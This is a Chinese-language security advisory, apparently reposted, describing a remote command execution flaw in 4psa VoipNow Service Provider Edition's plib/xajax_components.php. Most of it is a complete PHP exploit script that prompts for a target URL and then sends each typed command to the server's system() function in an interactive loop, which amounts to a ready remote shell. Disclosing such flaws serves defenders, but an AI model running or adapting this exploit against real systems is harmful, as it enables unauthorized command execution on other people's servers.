components.php远程任意命令执行漏洞

发布日期:2012-12-21
更新日期:2012-12-27

受影响系统:
4psa Service Provider Edition 2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 57032
 
VoipNow Service Provider Edition是一款针对SaaS提供商云服务的统一通信软件。
 
VoipNow Service Provider Edition 2.3之前版本及其他版本plib/xajax_components.php文件内存在安全漏洞,攻击者可利用此漏洞在受影响应用内执行任意命令。
 
<*来源:i-Hmx (n0p1337@gmail.com)
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
i-Hmx (n0p1337@gmail.com)提供了如下测试方法:
 
<?
 # Title: 4psa VoipNow < 2.3 , Remote Command Execution vuln
 # Software Link:
 # Author: Faris , aka i-Hmx
 # Home : sec4ever.com , 1337s.cc
 # Mail : n0p1337@gmail.com
 # Tested on: VoipNow dist.
 /*
 VoipNow suffer from critical RCE vuln.
 Vulnerable File : plib/xajax_components.php
 Snip.
 if ( isset( $_GET['varname'] ) )
 {
 $func_name = $_GET['varname'];
 $func_arg = $_POST["fid-".$_GET['varname']];
 $func_params = $_GET;
 if ( function_exists( $func_name ) )
 {
 echo $func_name( $func_arg, $func_params );
 }
 else
 {
 echo "<ul><li>Function: ".$func_name." does not exist.</li></ul>";
 }
 }
 Demo Exploit :
 Get : plib/xajax_components.php?varname=system
 Post : fid-system=echo WTF!!
 so the result is
 echo system( 'echo WTF!!', array() );
 the system var need just the 1st parameter
 so don't give fu#* about the array :D
 Peace out
 */
 echo "\n+-------------------------------------------+\n";
 echo "| VoipNow 2.5.3 |\n";
 echo "| Remote Command Execution Exploit |\n";
 echo "| By i-Hmx |\n";
 echo "| n0p1337@gmail.com |\n";
 echo "+-------------------------------------------+\n";
 echo "\n| Enter Target [https://ip] # ";
 $target=trim(fgets(STDIN));
 function faget($url,$post){
 $curl=curl_init();
 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
 curl_setopt($curl,CURLOPT_URL,$url);
 curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
 curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
 curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
 curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
 curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
 curl_setopt($curl,CURLOPT_FOLLOWLOCATION,0);
 curl_setopt($curl,CURLOPT_TIMEOUT,20);
 curl_setopt($curl, CURLOPT_HEADER, false);
 $exec=curl_exec($curl);
 curl_close($curl);
 return $exec;
 }
 while(1)
 {
 echo "\ni-Hmx@".str_replace("https://","",$target)."# ";
 $cmd=trim(fgets(STDIN));
 if($cmd=="exit"){exit();}
 $f_rez=faget($target."/plib/xajax_components.php?varname=system","fid-system=$cmd");
 echo $f_rez;
 }
 # NP : Just cleaning my pc from an old old trash , The best is yet to come ;)
 ?>

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
4psa
 ----
 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wygjwj.html